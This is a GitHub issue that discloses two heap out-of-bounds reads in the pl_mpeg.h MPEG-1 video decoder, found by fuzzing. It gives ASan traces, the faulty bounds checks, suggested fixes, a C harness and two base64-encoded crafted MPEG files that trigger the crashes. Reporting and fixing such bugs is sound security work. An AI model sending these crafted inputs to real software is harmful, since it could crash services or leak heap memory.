Skip to content

Two heap out-of-bounds reads in the MPEG-1 video decoder (decode_block :3532, process_macroblock :3372) #73

Description

@nakata-app

Summary

Coverage-guided fuzzing (AFL++, ASan) of plm_decode_video() on crafted MPEG-1 input found two distinct heap out-of-bounds reads in the video decoder on current master (pl_mpeg.h SHA-256 3a8cb30c83c2a1147719c30fe0c8b93da2987aa43140077c575b39aaa75fc2c9, the latest commit "Fix corrupt slice check; close #64").

Both are OOB reads (crash / potential info-disclosure class, no write observed), reachable from plm_decode_video() on attacker-controlled input. Neither matches an open issue: #68/#69 are audio-path; #66 is a video correctness bug, not memory safety.

Filing publicly following the precedent of the accepted audio memory-safety reports (#68/#69).


Bug A, plm_video_decode_block (pl_mpeg.h:3532)

ASan: READ of size 1, 16 bytes before the frame-plane allocation.

#0 plm_video_decode_block        pl_mpeg.h:3532
#1 plm_video_decode_macroblock   pl_mpeg.h:3231
#2 plm_video_decode_slice        pl_mpeg.h:3130
#3 plm_video_decode_picture      pl_mpeg.h:3094

Line 3532 is the non-intra reconstruction read PLM_BLOCK_SET(d, di, dw, si, 8, 8, plm_clamp(d[di] + s[si])). The destination index is computed straight from mb_row/mb_col with no lower-bound clamp:

di = (self->mb_row * self->luma_width + self->mb_col) << 4;          // luma
di = ((self->mb_row * self->luma_width) << 2) + (self->mb_col << 3);  // chroma

On the crafted stream di underflows to a small negative value, so d[di] reads before the plane. The #64 fix bounds macroblock_address but not this per-block prediction index.

Suggested fix: clamp/validate di to [0, plane_size - block extent] before PLM_BLOCK_SET, or reject when mb_row/mb_col fall outside [0, mb_height) / [0, mb_width).


Bug B, plm_video_process_macroblock (pl_mpeg.h:3372)

ASan: READ of size 1, just past the end of the reference-plane allocation.

#0 plm_video_process_macroblock  pl_mpeg.h:3372
#1 plm_video_decode_macroblock   pl_mpeg.h:3221
#2 plm_video_decode_slice        pl_mpeg.h:3130

The bounds check at 3359-3361 validates only si/di:

unsigned int max_address = (dw * (self->mb_height * block_size - block_size + 1) - block_size);
if (si > max_address || di > max_address) { return; }

But the half-pel interpolation cases read up to s[si + dw + 1]:

PLM_MB_CASE(0, 1, 0, (s[si] + s[si + 1] + 1) >> 1);        // line 3372: reads s[si+1]
PLM_MB_CASE(0, 0, 1, (s[si] + s[si + dw] + 1) >> 1);       // reads s[si+dw]
PLM_MB_CASE(0, 1, 1, ... s[si + dw + 1] ...);              // reads s[si+dw+1]

When si is at/near max_address, si + dw + 1 runs off the end of the reference plane. Sibling lines 3371/3373/3376/3378 (the other interpolation cases) share the class.

Suggested fix: guard the actual max index touched, e.g. require si + dw + 1 <= plane_size - 1 (and di + dw + block_size on the write side), not just si <= max_address.


Reproduce

Harness reads a stream from stdin and decodes all video+audio frames:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define PL_MPEG_IMPLEMENTATION
#include "pl_mpeg.h"

int main(void) {
    size_t cap = 1<<16, len = 0;
    uint8_t *buf = malloc(cap);
    for (;;) {
        if (len == cap) buf = realloc(buf, cap *= 2);
        size_t got = fread(buf + len, 1, cap - len, stdin);
        len += got;
        if (!got) break;
    }
    if (!len) return 0;
    plm_t *plm = plm_create_with_memory(buf, len, 1);
    if (!plm) return 0;
    plm_set_audio_enabled(plm, 1);
    while (plm_decode_video(plm)) {}
    plm_destroy(plm);
    return 0;
}
clang -g -O1 -fsanitize=address -DPL_MPEG_IMPLEMENTATION harness.c -o f
./f < A.mpg   # -> heap-buffer-overflow READ :3532
./f < B.mpg   # -> heap-buffer-overflow READ :3372

Reproducers (286 bytes each, afl-tmin minimized). Decode base64 to reproduce:

A.mpg (sha256 78803129…, triggers Bug A):

AAABuiEwMDAwMDAwAAABuzAwMDAwADAAAAHgAQEAAAABszAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAAAAEAMDAwMDAwMDAwMDAwQjAwQTAwRTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwATAwMDAwMAgwATAwMDAwMAAAAQEwAUFBMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMA==

B.mpg (sha256 0760bafd…, triggers Bug B):

AAABuicwMDAwMDAwAAABuzAwMDAwADAAAAHgAQEAAAABszAwAAAwRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAAAAEAMDAwMDAwMDAwMDAwMDAwMDAwMEMwMDAwMDAwMDAwMDAwMDAwMDAwMDAwATAwMDAwMAgwATAwMDAwMDAAAAEBMKkwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMA==
base64 -d > A.mpg <<< '...'   # paste block above

Severity note

Both are out-of-bounds reads, not writes; no code-execution primitive. Impact is a crash under ASan/hardened builds (DoS) and a theoretical heap read leaking into decoded pixels. Reporting for completeness / hardening.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions